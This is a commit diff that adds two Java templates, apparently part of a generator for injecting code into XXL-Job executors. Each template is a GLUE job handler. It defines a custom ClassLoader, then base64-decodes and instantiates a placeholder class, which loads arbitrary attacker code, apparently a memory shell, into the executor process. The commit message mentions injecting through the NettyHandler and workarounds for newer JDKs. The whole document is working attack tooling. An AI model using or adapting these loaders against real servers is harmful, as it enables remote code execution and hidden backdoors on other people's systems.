feat: support xxl-job executor NettyHandler (#30)

Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.

generator/src/main/resources/XXL-Job-DefineClass-230.java

@@ -0,0 +1,30 @@
+import com.xxl.job.core.handler.IJobHandler;
+
+import java.util.Base64;
+
+public class DemoGlueJobHandler extends IJobHandler {
+
+    public static class Definder extends ClassLoader {
+        public Definder() {
+            super(Thread.currentThread().getContextClassLoader());
+        }
+
+        public Class<?> defineClass(byte[] bytes) {
+            return defineClass(null, bytes, 0, bytes.length);
+        }
+    }
+
+    public void execute() throws Exception {
+        String base64Str = "{{base64Str}}";
+        String className = "{{className}}";
+        try {
+            Class.forName(className);
+        } catch (ClassNotFoundException e) {
+            try {
+                new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
+            } catch (Throwable ee) {
+                ee.printStackTrace();
+            }
+        }
+    }
+}

generator/src/main/resources/XXL-Job-DefineClass.java

@@ -0,0 +1,42 @@
+import com.xxl.job.core.biz.model.ReturnT;
+import com.xxl.job.core.handler.IJobHandler;
+
+public class DemoGlueJobHandler extends IJobHandler {
+
+    public static class Definder extends ClassLoader {
+        public Definder() {
+            super(Thread.currentThread().getContextClassLoader());
+        }
+
+        public Class<?> defineClass(byte[] bytes) {
+            return defineClass(null, bytes, 0, bytes.length);
+        }
+    }
+
+    public ReturnT<String> execute(String param) throws Exception {
+        String base64Str = "{{base64Str}}";
+        String className = "{{className}}";
+        try {
+            Class.forName(className);
+        } catch (ClassNotFoundException e) {
+            try {
+                new Definder().defineClass(decodeBase64(base64Str)).newInstance();
+            } catch (Throwable ee) {
+                ee.printStackTrace();
+            }
+        }
+        return ReturnT.SUCCESS;
+    }
+
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+}